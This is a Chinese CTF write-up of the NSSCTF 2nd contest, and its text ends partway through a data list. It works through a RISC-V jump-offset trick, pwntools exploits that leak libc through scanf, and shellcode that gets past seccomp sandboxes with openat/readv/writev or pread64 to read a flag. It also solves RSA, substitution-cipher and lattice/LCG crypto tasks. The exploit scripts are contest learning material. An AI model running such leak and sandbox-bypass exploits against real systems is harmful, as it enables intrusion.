[NSSCTF 2nd] NSS两周年纪念赛。

[NSSCTF 2nd] NSS两周年纪念赛。_第1张图片

 

都说开卷有益,其实作题也有益,每打一次总能学到点东西。

PWN

NewBottleOldWine

这个没作出来,一时还不明白RISC-V64怎么弄本地环境,不过看了WP感觉很简单,取flag用不着环境。

IDA不给翻译了,一点点看汇编。只有一个main,里边分成小段,

第一段前边是一堆puts,这里lui是传给它一个段号,然后addi加上偏移就得到具体地址。

然后读入一个数,从格式化串%lld来看是个8字节整形。红箭头上边这块将读入的数取出,转成w(sext.w前低16位符号位扩展为32位有符号整数)4字节整形,看是否大于0(bgtz:big then zero)如果大于0就跳到下边执行下一段,否则便exit。

[NSSCTF 2nd] NSS两周年纪念赛。_第2张图片

 第二段也是个判断,先取出数,然后和0x9f比较如果小于则跳到下一段,否则退出

[NSSCTF 2nd] NSS两周年纪念赛。_第3张图片

 

 第三段先是个puts然后 取出数字(lw:4字节整形)与start的地址相加,存到a5,然后中转到a5执行。[NSSCTF 2nd] NSS两周年纪念赛。_第4张图片

 第4段是个后门,执行system(/bin/sh)

[NSSCTF 2nd] NSS两周年纪念赛。_第5张图片

 这里唯一的问题是这个数要小于0x9f且大于0,但是从 start到后门的偏移是0x220,由于第一次和0比较时用的低16位扩展成32位,第2次比较用的64位。所以这里可以设置一个负数:高4位为ff低4位是0x220这样第1次只用两字节通过,第2次用8字节显示是负数通过检查。这个数就是这样:

0xffffffff00000220

然后转成负数(-4294966750)输入取可。不需要写代码。 

happy2

这个题也没完成,卡在了一个shellcode上。

题目先是一个proof,可以读入数字然后显示。显然是个泄露漏洞,用scanf时如果输入一个+或者-号后边没数字的话,就不会将读入的东西写入,这样就会显示原来内存里的内容。由于上一步执行的init这里显然会有一个_IO_2_1_stderr_的地址。gdb跟进找到位置即可。这时是2。写两个-然后得到libc,输入puts的地址即可过头。

unsigned __int64 proof()
{
  unsigned int v1; // [rsp+8h] [rbp-A8h] BYREF
  int i; // [rsp+Ch] [rbp-A4h]
  int (**v3)(const char *); // [rsp+10h] [rbp-A0h] BYREF
  int (**v4)(const char *); // [rsp+18h] [rbp-98h]
  __int64 v5[17]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+A8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = &puts;
  puts("How many things you want to konw");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0x11 )
  {
    puts("Greedy!");
    exit(0);
  }
  for ( i = 0; i < (int)v1; ++i )
  {
    __isoc99_scanf("%ld", &v5[i]);
    printf("%ld", v5[i]);
  }
  puts("you konw enough you should know");
  puts("now you need to have a try");
  __isoc99_scanf("%ld", &v3);
  if ( v4 != v3 )
    exit(0);
  return v6 - __readfsqword(0x28u);
}

后边似乎没有这个proof难,读入shellcode 到mmap得到的可读写区域然后执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+4h] [rbp-Ch]

  init();
  proof();
  v4 = fork();
  if ( v4 )
  {
    printf("pid: %d\n", v4);
    mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
    read(0, (void *)0x10000, 0x1000uLL);
    sandbox();
    MEMORY[0x10000]();
  }
  else
  {
    love();
  }
  return 0;
}

当然没那么简单,这里设置了一个sandbox禁用了read,execveat等。由于execve也会用到read所以这个问题就比较麻烦了。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 0010
 0007: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0010
 0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

我一开始作的是xenny的诱惑,所以想同样用open+readv+writev但一直不成功,估计是readv用的结构可能的问题。看到WP用的是open+pread64+write一试果然OK

from pwn import *

#p = process('./pwn')
p = remote('123.249.2.218', 10000)
context(arch='amd64', log_level= 'debug')

libc = ELF('./libc.so.6')
elf = ELF('./pwn')

#gdb.attach(p, "b*0x4015e7\nc")

#proof
p.sendlineafter(b"How many things you want to konw\n", b'2')
p.sendline(b'-')
p.recv(1)
p.sendline(b'-')
libc.address = int(p.recvuntil(b'you', drop=True)) - libc.sym['_IO_2_1_stderr_']
p.sendlineafter(b"now you need to have a try\n", str(libc.sym['puts']).encode())

bss_targ = 0x404000+0x800

#open(&filename, 0,0)
#pread64(fd, buf, len, 0)
#write(1, buf, len)
shellcode = '''
mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;
mov rdi,3; mov rsi,0x404800;mov rdx,0x100;xor r10,r10;mov rax,17;syscall;
mov rdi,1; mov rsi,0x404800;mov rdx,0x100;mov rax,1;syscall;
'''
payload = asm(shellcode)

p.send(payload)

p.interactive()

xenny的诱惑

这题我吃完饭,涮完锅,然后回来作居然给留了二血

这题没有附件,连上后会给一大堆base64的码。先存下来分析。

这种原来也见过,给的是个程序,这个程序是程序生成的,每次都会变化,但大体流程上不变只是变个数字。

打开以后看到main直接调用fun0然后每个fun都有11个分支。一共有1000个结点。

[NSSCTF 2nd] NSS两周年纪念赛。_第6张图片

 最后一个应该是个后门,跟happy2差不多,也是个可读写执行的块,然后写shellcode,然后是sandbox

[NSSCTF 2nd] NSS两周年纪念赛。_第7张图片

 这个sandbox有意思,禁用了ORW

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

这个ORW绕过用 openat+readv+writev

其中readv和writev需要从一个结构里读地址和长度,要先预设这个结构。

然后开始弄代码。这个程序由几小块完成。第1段获取代码,从中读出结点和每个结点的下级。应该是有程序可以解决这个,但我没有,我用的原始方法,从二进制代码里找。这个也有个优势就是这题有超时设置。自己读会比较省时间。

from pwn import *
from base64 import *
import sys 

def show(f):
    for i in f:
        print(hex(i), len(func[i]))
        for j in range(len(func[i])):
            print(hex(func[i][j]), end=',')
        print()
        


p = remote('node6.anna.nssctf.cn', 28005)

p.recvline()
msg = p.recvline().strip()
elf = b64decode(msg)
'''
#open('a.txt', 'wb').write(elf)
elf = open('a.elf','rb').read()

p = process('./a.elf')
'''
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x0000555555554000+0x13f8\nc")
#
pos = 0x1499
func = {}

for i in range(1000):
    while not elf[pos:].startswith( b'\xF3\x0F\x1E\xFA'):
        pos += 1
    
    funid = pos 
    ptr = []
    while not elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'): #puts or xenny
        pos += 1
    pos += 6
    v = (pos+4+u32(elf[pos:pos+4]))&0xffffffff
    if v == 0x1381:
        func[funid] = [0x1381]
        continue
        
    while not elf[pos:].startswith( b'\x3E\xFF\xE0'):  #第1个jmp是puts的找switch case
        pos += 1
    pos+=3
    while elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'):
        pos +=6
        ptr.append((pos+4+u32(elf[pos:pos+4]))&0xffffffff)
        #print(elf[pos:pos+4])
        pos +=4
    func[funid] =ptr
    #print(i)
    #if i>2:
    #    break 

#print(func)
show(func)

然后找到这个路径。一开始用递归。看来这题专门对递归作了限制。不管是正向还是反向都会有环路。递归这东西应该是专门用来教学的。实际用的时候不应该用。至少要扁平化后才行。

way = []
first = 0x149a   #step1
target = 0x1381  #xenny
'''
def dfs(tfunc, tt, head):
    global way 
    if len(tfunc) == 0:
        return 
    if tt == target:
        way = head
        return

    k = tfunc.copy()
    v = k.pop(tt)
    #print(v, hex(tt))
    for i in range(len(v)):
        if v[i] in k:
            dfs(k, v[i], head+[i])

dfs(func, first, [])
print('OK:',way)
'''


way = [[first,'']]
ok = False
sway = ''
while len(way):
    print(len(way))
    tway = []
    for t_idx,t_s in way:
        if not t_idx in func: continue
        v = func.pop(t_idx)
        for i in range(len(v)):
            if v[i] == target:
                sway = t_s
                ok = True
                break
            tway.append([v[i], t_s+str(i+1)])
        if ok:
            break
    if ok:
        break
    way = tway.copy()
    
print('ok:',sway)

然后输入这个代码,由于有必需tmp==1000的限制,这里前边补足0(0是直接加然后回到本级)这里漏了个问题,后来也懒得改,反正大概率成功。这里分支是11个,后边的是两位数,我只用了1位数存结果哈。一次成功,无所谓了。

for i in range(1000 - len(sway)):
    p.sendline(b'0')

for i in sway:
    p.sendline(i.encode())

最后是shellcode,flag和结构直接跟在后边

shellcode = ''
shellcode += shellcraft.openat(0,'/flag')
shellcode += shellcraft.readv(3,0x10110,1)
shellcode += shellcraft.writev(1,0x10110,1)

payload = asm(shellcode).ljust(0x100, b'\x00')+b'/flag\x00'.ljust(16, b'\x00')+ flat(0x10200, 0x100)

p.sendline(payload)

p.interactive()

CRYPTO

EzRSA

前两个密码非常简单

from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
assert m.bit_length()<200
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3
c = pow(m, e, n)
kbits = 103
m = (m >> kbits) << kbits
Mod = getPrime(1024)
hint1 = (2021-2023*m) % Mod
hint2 = pow(2, 2023, Mod)
print('n =',n)
print('c =',c)
print('hint1 =',hint1)
print('hint2 =',hint2)

看上去很复杂,但一想flag也没多长,而e=3直接开方即可。

FunnyEncrypt

这个给一堆图标,在尾部可以明显看出来flag的痕迹

✧✡✭
✡✮ ✣✴✯ ✤✶✬✬✱ ✬✤ ✱✦✢✥✮✯✧✧, ✴✬✷✯ ✡✧ ✣✴✯ ✶✡✰✴✣. ✡✣ ❂✢✡✮✰✧ ✩✬✸✤✬✢✣, ✤✦✡✣✴, ✦✮✱ ✩✬✮✤✡✱✯✮✩✯. ✡✣ ✰✡✲✯✧ ✳✧ ✰✳✡✱✦✮✩✯ ★✴✯✮ ★✯ ✦✢✯ ✶✬✧✣, ✦✮✱ ✰✡✲✯✧ ✧✳✷✷✬✢✣ ★✴✯✮ ★✯ ✦✢✯ ✦✤✢✦✡✱. ✦✮✱ ✣✴✯ ✸✬✸✯✮✣ ★✯ ✰✡✲✯ ✳✷ ✴✬✷✯, ★✯ ✰✡✲✯ ✳✷ ✬✳✢ ✶✡✲✯✧. ✣✴✯ ★✬✢✶✱ ★✯ ✶✡✲✯ ✡✮ ✡✧ ✱✡✧✡✮✣✯✰✢✦✣✡✮✰ ✡✮✣✬ ✦ ✷✶✦✩✯ ✬✤ ✸✦✶✡✩✯ ✦✮✱ ✴✦✣✢✯✱, ★✴✯✢✯ ★✯ ✮✯✯✱ ✴✬✷✯ ✦✮✱ ✤✡✮✱ ✡✣ ✴✦✢✱✯✢. ✡✮ ✣✴✡✧ ★✬✢✶✱ ✬✤ ✤✯✦✢, ✴✬✷✯ ✣✬ ✤✡✮✱ ❂✯✣✣✯✢, ❂✳✣ ✯✦✧✡✯✢ ✧✦✡✱ ✣✴✦✮ ✱✬✮✯, ✣✴✯ ✸✬✢✯ ✸✯✦✮✡✮✰✤✳✶ ✶✡✤✯ ✬✤ ✤✦✡✣✴ ★✡✶✶ ✸✦✥✯ ✶✡✤✯ ✸✯✦✮✡✮✰✤✳✶.
✧✬✸✯✣✡✸✯✧ ★✯ ✣✴✡✮✥ ✬✤ ✱✢✯✦✸✧ ✦✧ ✤✦✮✣✦✧✡✯✧ - ✡✣'✧ ✯✦✧✵ ✣✬ ✱✬ ★✴✯✮ ✵✬✳ ✴✦✲✯ ✸✬✮✯✵, ✢✯✮✣, ✦✮✱ ★✬✢✥. ❂✳✣ ✵✬✳ ✩✦✮'✣ ✷✢✯✷✦✢✯ ✵✬✳✢✧✯✶✤ ✦✮✱ ✫✳✸✷ ✬✤✤ ✣✴✯ ✩✶✡✤✤: ✵✬✳ ✧✴✬✳✶✱ ✰✢✬★ ✵✬✳✢ ★✡✮✰✧ ✤✡✢✧✣. ✦ ✶✡✣✣✶✯ ❂✡✣ ✣✬★✦✢✱ ✣✴✯ ✱✢✯✦✸. ✧✣✯✷ ❂✵ ✧✣✯✷. ✣✦✥✯ ✦ ✧✣✯✷ ✤✬✢★✦✢✱. ✦✤✣✯✢ ✦✶✶, ✡✣'✧ ✵✬✳✢ ✸✡✧✧✡✬✮.
✥✯✯✷ ✤✦✡✣✴ ✦✮✱ ✴✬✷✯ ✤✬✢ ✣✴✯ ✤✳✣✳✢✯. ✸✦✥✯ ✵✬✳✢ ✸✬✧✣ ✧✡✮✩✯✢✯ ✱✢✯✦✸✧, ✦✮✱ ★✴✯✮ ✣✴✯ ✬✷✷✬✢✣✳✮✡✣✡✯✧ ✩✬✸✯, ✣✴✯✵ ★✡✶✶ ✤✡✰✴✣ ✤✬✢ ✣✴✯✸. ✡✣ ✸✦✵ ✣✦✥✯ ✦ ✧✯✦✧✬✮ ✬✢ ✸✬✢✯, ❂✳✣ ✣✴✯ ✯✮✱✡✮✰ ★✡✶✶ ✮✬✣ ✩✴✦✮✰✯. ✦✸❂✡✣✡✬✮, ❂✯✧✣, ❂✯✩✬✸✯ ✦ ✢✯✦✶✡✣✵. ✦✮ ✳✮✩✯✢✣✦✡✮ ✤✳✣✳✢✯, ✬✮✶✵ ✬✮✯ ✧✣✯✷ ✦✣ ✦ ✣✡✸✯, ✣✴✯ ✴✬✷✯ ✩✦✮ ✢✯✦✶✡✪✯ ✣✴✯ ✱✢✯✦✸ ✬✤ ✣✴✯ ✴✡✰✴✯✧✣. ★✯ ✸✳✧✣ ✣✢✯✦✧✳✢✯ ✣✴✯ ✱✢✯✦✸, ✣✬ ✷✢✬✣✯✩✣ ✡✣ ✦ ✧✯✦✧✬✮, ✶✯✣ ✡✣ ✡✮ ✣✴✯ ✴✯✦✢✣ ❋✳✡✯✣✶✵ ✰✯✢✸✡✮✦✶.
✬✮✶✵ ★✴✯✮ ✵✬✳ ✳✮✱✯✢✧✣✦✮✱ ✣✴✯ ✣✢✳✯ ✸✯✦✮✡✮✰ ✬✤ ✶✡✤✯ ✩✦✮ ✵✬✳ ✶✡✲✯ ✣✢✳✶✵. ❂✡✣✣✯✢✧★✯✯✣ ✦✧ ✶✡✤✯ ✡✧, ✡✣'✧ ✧✣✡✶✶ ★✬✮✱✯✢✤✳✶, ✦✮✱ ✡✣'✧ ✤✦✧✩✡✮✦✣✡✮✰ ✯✲✯✮ ✡✮ ✣✢✦✰✯✱✵. ✡✤ ✵✬✳'✢✯ ✫✳✧✣ ✦✶✡✲✯, ✣✢✵ ✴✦✢✱✯✢ ✦✮✱ ✣✢✵ ✣✬ ✶✡✲✯ ★✬✮✱✯✢✤✳✶✶✵.
✡ ❂✯✶✡✯✲✯ ✣✴✯✢✯ ✡✧ ✦ ✷✯✢✧✬✮ ★✴✬ ❂✢✡✮✰✧ ✧✳✮✧✴✡✮✯ ✡✮✣✬ ✵✬✳✢ ✶✡✤✯. ✣✴✦✣ ✷✯✢✧✬✮ ✸✦✵ ✴✦✲✯ ✯✮✬✳✰✴ ✣✬ ✧✷✢✯✦✱ ✦✢✬✳✮✱. ❂✳✣ ✡✤ ✵✬✳ ✢✯✦✶✶✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✤✬✢ ✧✬✸✯✬✮✯ ✣✬ ❂✢✡✮✰ ✵✬✳ ✣✴✯ ✧✳✮ ✦✮✱ ✰✡✲✯ ✵✬✳ ✦ ✰✬✬✱ ✤✯✯✶✡✮✰, ✣✴✯✮ ✵✬✳ ✸✦✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✦ ✶✬✮✰ ✣✡✸✯.
✡✮ ✦ ★✬✢✱,✡ ✴✬✷✯ ✵✬✳ ★✡✶✶ ✶✡✥✯ ✩✢✵✷✣✬✰✢✦✷✴✵.✣✴✡✧ ✡✧ ✵✬✳✢ ✤✶✦✰:✮✧✧✩✣✤{✩✢✵✷✣✬_✡✧_✧✬_✡✮✣✯✢✯✧✣✡✮✰_★✴✵_✱✬✮'✣_✵✬✳_✫✬✡✮_✳✧}
 

应该是先换成字母再用quipquip字频分析。我是手工替换的,这个很容易,好多词都是固定的

SI✭
IN THE FLOOD OF DARKNESS, HOPE IS THE LIGHT. IT BRINGS COMFORT, FAITH, AND CONFIDENCE. IT GIVES US GUIDANCE WHEN WE ARE LOST, AND GIVES SUPPORT WHEN WE ARE AFRAID. AND THE MOMENT WE GIVE UP HOPE, WE GIVE UP OUR LIVES. THE WORLD WE LIVE IN IS DISINTEGRATING INTO A PLACE OF MALICE AND HATRED, WHERE WE NEED HOPE AND FIND IT HARDER. IN THIS WORLD OF FEAR, HOPE TO FIND BETTER, BUT EASIER SAID THAN DONE, THE MORE MEANINGFUL LIFE OF FAITH WILL MAKE LIFE MEANINGFUL.
SOMETIMES WE THINK OF DREAMS AS FANTASIES - IT'S EASY TO DO WHEN YOU HAVE MONEY, RENT, AND WORK. BUT YOU CAN'T PREPARE YOURSELF AND JUMP OFF THE CLIFF: YOU SHOULD GROW YOUR WINGS FIRST. A LITTLE BIT TOWARD THE DREAM. STEP BY STEP. TAKE A STEP FORWARD. AFTER ALL, IT'S YOUR MISSION.
KEEP FAITH AND HOPE FOR THE FUTURE. MAKE YOUR MOST SINCERE DREAMS, AND WHEN THE OPPORTUNITIES COME, THEY WILL FIGHT FOR THEM. IT MAY TAKE A SEASON OR MORE, BUT THE ENDING WILL NOT CHANGE. AMBITION, BEST, BECOME A REALITY. AN UNCERTAIN FUTURE, ONLY ONE STEP AT A TIME, THE HOPE CAN REALI✪E THE DREAM OF THE HIGHEST. WE MUST TREASURE THE DREAM, TO PROTECT IT A SEASON, LET IT IN THE HEART ❋UIETLY GERMINAL.
ONLY WHEN YOU UNDERSTAND THE TRUE MEANING OF LIFE CAN YOU LIVE TRULY. BITTERSWEET AS LIFE IS, IT'S STILL WONDERFUL, AND IT'S FASCINATING EVEN IN TRAGEDY. IF YOU'RE JUST ALIVE, TRY HARDER AND TRY TO LIVE WONDERFULLY.
I BELIEVE THERE IS A PERSON WHO BRINGS SUNSHINE INTO YOUR LIFE. THAT PERSON MAY HAVE ENOUGH TO SPREAD AROUND. BUT IF YOU REALLY HAVE TO WAIT FOR SOMEONE TO BRING YOU THE SUN AND GIVE YOU A GOOD FEELING, THEN YOU MAY HAVE TO WAIT A LONG TIME.
IN A WORD,I HOPE YOU WILL LIKE CRYPTOGRAPHY.THIS IS YOUR FLAG:nssctf{crypto_is_so_interesting_why_don't_you_join_us} 

Math 

这个没完成,但收获比较大,费马逆推第一次。

题目分两部分,第1是给了invert(p,q),invert(q,p)和phi

from secret import flag
from Crypto.Util.number import *
import gmpy2

length = len(flag)
flag1 = flag[:length//2]
flag2 = flag[length//2:]
e = 65537

m1 = bytes_to_long(flag1)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

p1 = gmpy2.invert(p,q)
q1 = gmpy2.invert(q,p)
c = pow(m1,e,n)

print("p1=",p1)
print("q1=",q1)
print("c=",c)
print("phi=",phi)

这里在大姥2021年博客里有,但拿那个方法没成功,他在博客里说了原文地址,在github上找到后一运行成功。

p1= 3020925936342826638134751865559091272992166887636010673949262570355319420768006254977586056820075450411872960532347149926398408063119965574618417289548987
q1= 4671408431692232396906683283409818749720996872112784059065890300436550189441120696235427299344866325968178729053396743472242000658751114391777274910146291
c= 25112054943247897935419483097872905208058812866572413543619256987820739973912338143408907736140292730221716259826494247791605665059462509978370784276523708331832947651238752021415405546380682507724076832547566130498713598421615793975775973104012856974241202142929158494480919115138145558312814378701754511483
phi= 57503658815924732796927268512359220093654065782651166474086873213897562591669139461637657743218269483127368502067086834142943722633173824328770582751298229218384634668803018140064093913557812104300156596305487698041934061627496715082394633864043543838906900101637618600513874001567624343801197495058260716932

#https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
d = gmpy2.invert(e, phi)

kn = e * d - 1
count = 0

def solve(a, b, c):
    D = b ** 2 - 4 * a * c
    assert gmpy2.is_square(D)
    x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
    x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
    return x1, x2

for k in range(3, e):
    if kn % k == 0:
        count += 1
        phi_n = kn // k
        # coefficients of quadratic eq
        a = x - 1
        b = x * y - 1 + (x - 1) * (y - 1) - phi_n
        c = (y - 1) * (x * y - 1)
        try:
            k1, k2 = solve(a, b, c)
            if (x * y - 1) % k1 == 0:
                k2 = (x * y - 1) // k1
            elif (x * y - 1) % k2 == 0:
                k1, k2 = k2, (x * y - 1) // k2
            else:
                assert False
            p, q = x + k2, y + k1
            N = p * q

            flag = long_to_bytes(pow(ct, d, N)).strip()
            break
        except AssertionError:
            pass

print(flag)
#NSSCTF{e713afa4-fcd8-4

后来看WP还有更简单的方法

#方法2 
import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))

print(s.check())
m = s.model()

p = m[p].as_long()
q = m[q].as_long()

d = libnum.invmod(e, phi)
flag = pow(c,d,p*q)
flag1 = libnum.n2s(flag)

第二部分似曾相识,可原来都是两个式子,这里是一个

m2 = bytes_to_long(flag2)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m2, e, n)
hint = pow(2023 * p + 114514, q, n)
print("n=",n)
print("c=",c)
print("hint=",hint)

后来看大姥WP并问了若干次才明白。这个叫费马小定理逆推。

先对原式模p得到  hint = (2023p + 114514)^{q} = 114514^{q}\, mod\, p

然后逆推一下114514^{N} = 114514^{p*q} = 114514^{q^{p}} = 114514^{q}\,mod \,p

这里的114514^q可以替换成114514^N这样去掉q以后与N取公因子就得到p了

n= 12775720506835890504634034278254395430943267336816473660983646973423280986156683988190224391394224069040565587173690009193979401332176772774003070053150665425296356891182224095151626957780349726980433545162004592720236315207871365869074491602494662741551613634958123374477023452496165047922053316939727488269523121920612595228860205356006298829652664878874947173274376497334009997867175453728857230796230189708744624237537460795795419731996104364946593492505600336294206922224497794285687308908233911851722675754289376914626682400586422368439122244417279745706732355332295177737063024381192630487607768783465981451061
c= 11915755246503584850391275332434803210208427722294114071001100308626307947436200730224125480063437044802693983505018296915205479746420176594816835977233647903359581826758195341201097246092133133080060014734506394659931221663322724002898147351352947871411658624516142945817233952310735792476179959957816923241946083918670905682025431311942375276709386415064702578261223172000098847340935816693603778431506315238612938066215726795441606532661443096921685386088202968978123769780506210313106183173960388498229061590976260661410212374609180449458118176113016257713595435899800372393071369403114116302366178240855961673903
hint= 3780943720055765163478806027243965253559007912583544143299490993337790800685861348603846579733509246734554644847248999634328337059584874553568080801619380770056010428956589779410205977076728450941189508972291059502282197067064652703679207594494311426932070873126291964667101759741689303119878339091991064473009603015444698156763131697516348762529243379294719509271792197450290763350043267150173332933064667716343268081089911389405010661267902446894363575630871542572200564687271311946580866369204751787686029541644463829030926902617740142434884740791338666415524172057644794094577876577760376741447161098006698524808

#hint = pow(2023p+114514,q,n)
#hint =(ap+b)^q (mod p) 
#     = b^q (mod p)  二项式定理
#     = b^p*b^q (mod p)= b^N (mod p)  #费马小定理反推 b^N = b^(pq) = (b^q)^p = b^q mod p 
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes 
p = gcd(hint - pow(114514,n,n), n)
m = pow(c,invert(e,p-1),p)
long_to_bytes(m)
#19f-a1a6-959449b4df5a}

LatticeLCG

这题一开始两个小e然后两个c显然是共模攻击,但是没有给n

然后n作为lcg的模给了两个值

最后给出随机的20个e和一个随机数的20个c

from Crypto.Util.number import *

flag = b'NSSCTF{******************************}'

a = getPrime(512)
seed = getPrime(512)
b = bytes_to_long(flag)
n = getPrime(1024)

e1 = 2333
e2 = 23333
c1 = pow(a,e1,n)
c2 = pow(a,e2,n)

output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)

print("c1 = ",c1)
print("c2 = ",c2)
print("output1 = ",output[0])
print("output2 = ",output[1])


e = [getPrime(128) for _ in range(20)]
out = []
m = getPrime(64)

for i in e:
    out.append(pow(m,i,n))

print("e=",e)
print("out=",out)

第一步用这20组e,c求n用直列格规约

es= [297332330847212015073434001239859795661, 247136911662054641479463124065475615181, 269964458627145370722389742095701827701, 270745917671094194052444327351021588037, 254010082507930275771798119457499420531, 219178601856077385518322602059961601013, 226562702503988968288128483964146379529, 236756812424464516919183114495913408541, 330800121752029915693039296018980956519, 244800084005240595691424199440981715431, 171753849214889522920105847094773384191, 175843874533972361422410968920873382741, 326554577162848075059517044795930784993, 181842368629269753698222635712342485771, 221634122983362091660188171985742369561, 314244561819808202322467576330355199409, 286703236198397527318161582654787197007, 298101543059628501506668748374542117409, 304158884506393754601331945634109778837, 227577031261920314010408499530794497453]
cs= [100163998802948218573427220530909801629443946118807841130458771881611961921044413091457977957530737347507311468578174294420439883266450142918647561103714976340598499984679873518770686239019753272419975426555435266764099822607336645955391865380657632176223122712125661464370522088500110746571354290680063421912, 123528268396018633078964378145622645321836134964966941909300627704018826667414656614011250938241127521627117348901416042868382174504514240509791471909819407751786633761392047187057200130450960708049681366686147337178110669163142189940397343388837018627392202704211693014162963133958078984558400205296509955066, 50364974727218716170137342348825758682286710377257708196467656986986475658591351848251278364177715325447140300281348027787487944839878770556527568407280736570303345044999352851718908253510696083227344179177110348363623815158409862985684687329665113210373028159714648637297476014803935686233984711925346269925, 9159042298258514259206302054907530984498816597282237786310355131965025367180505822032135021520906576471052417629425493533222088036674196397387325202128095476044308794426593565419139845832998557280786358482011226957053125314152322427131984411160984485669030286331376124575677908877399942011661647598763754231, 83466948172962290899792524342204996697711370224947233607865306692546824512672969402433314856742908546253967225963904395036102408684746619744412073888614033881366518452878344698289278946024167788789718690655953517892282374396760436658422838909903123439370164929347147855359470889455753772857233516742991766128, 72028057477369331020972407277180913909557985390590548305094935208898254733240351763155769013959589016793318772858662702447133499307826143247356049051993727167694036585280387890126287679890730586145740176250715386149857291210207281073772478229355625725300592003798974298248102432508449566953296818450441875311, 63397152736399466888877444377156185012692670493456346196278062009641363047685720620967313379507212944658351683022480839941265221126018392433078546696140135677499181555082643172378488800458657825640013090182171355299282023794908520172571785687147143015581400891531296496177973817400317905868361800342940667657, 45427004823510815929685208038284324980662968275105063862891077759131069014314933978878667052450145039482242546093735499108826130367476890384431317243013990394189191560941678120985717370542332803012619694821129395559214706968432476548145608291516176910849698455496733056096163035964057523545705356926187216133, 85046100612081858546755294340770681541320509587396377967875404950325314121709046137842413744740490231945105758075761946555179595664901813127463402854440384657046429776033129391138370272524736543471909307910018577738207910417672603889922445435939876023878220177983424547612635006926243055642166274730894301704, 5833380233103086014860892228744764647016585478949686583145531659689295506666493518453642500086277427538189091865461553097914845680665917702500908205558454036911757659426809969367680394533585635383007758339917554453268182491874683638880986360065633842854622244953985055815937671635222264056071882344388307409, 83587615309194701727032548415548847571046191382552371312058083137102227325098839286526833147951063338204327145093831238962818333112251936853329663907079943414231588222256242520221314528944937229985997926851198158564313703719031124442094987245466116488897263358510493905440842917634723859176839440753120904481, 108651960334634726889543063749359050688114025706494125848785084643330096858725917513596985853593252388835207675036982640195609499739937405655156895161071906340785173459426867946058638393154997931747445494284445204735492709747637173698383609764016673932827648159152658645291248613736662020472251048171789274368, 118612010487916657134965416492319303083994743753602531817008130269546146141506819718265549648441671373744766173780682168587021797626910931105508317440664521595783406848956221465897709761805869130021172013000282497881581247777388315282629463546261696169893882772397797722134711444928443061384985458691749569847, 106808406616890955924408992591724627593882118490933791849624747503316110669154243209826761617940864170830792705070618439466645580274835929100331418955890808763286193770831205511071440703609240364726061677822134370309018443508205980554831705850988319397384130044484586798585896460152167042282847992593429629533, 88091869606421350393441194783722851111189272445506506936925797213395319937783082680078622732926273935980894566775394134783157488360516905477700601820480975112122167589887641130656305741351643175495552454293030309247254533571254198691204714097846510872592569447050033289483493274672346210063885124570695832880, 94400859500860667431780782962782396345261822402898708716634581228428633704975879685572548692997007974004673676539496590659276952154740096463133011458100387006276325192223993452314873089466451613079029429327880672384210802191677586975844471189127835578979108767548290181668434770385199468588493042256788539610, 76177813724283720012398394789596589415486093955132688784865364048503447246391866424200071522136707581280434193680972230914105236504028522288780213089260160776489804587209115330412067560802680789338779056583047491942817016437672075192528508677997165703606520158178725128251694801612417667440677124932361973397, 17188209523466762369281362386525396145127294763502094183797065621821932913685690176344514910405677170931795652509426794846131051983826422536084073462084935517166603832542862106287058675490933197600813710203114108790043880150305327523679949543592622443904084453387396870899883324751789625806819506542619123964, 120007173989070249117019147454557020213723707722383599019972471016186584968096445904023372671513462965078400715365736756710078805039115601609874780421117795585342458478316236202328120583456334489780231976628584606042971207759763658961365139429661536955996519512283283500790612975034779837647053750631763512799, 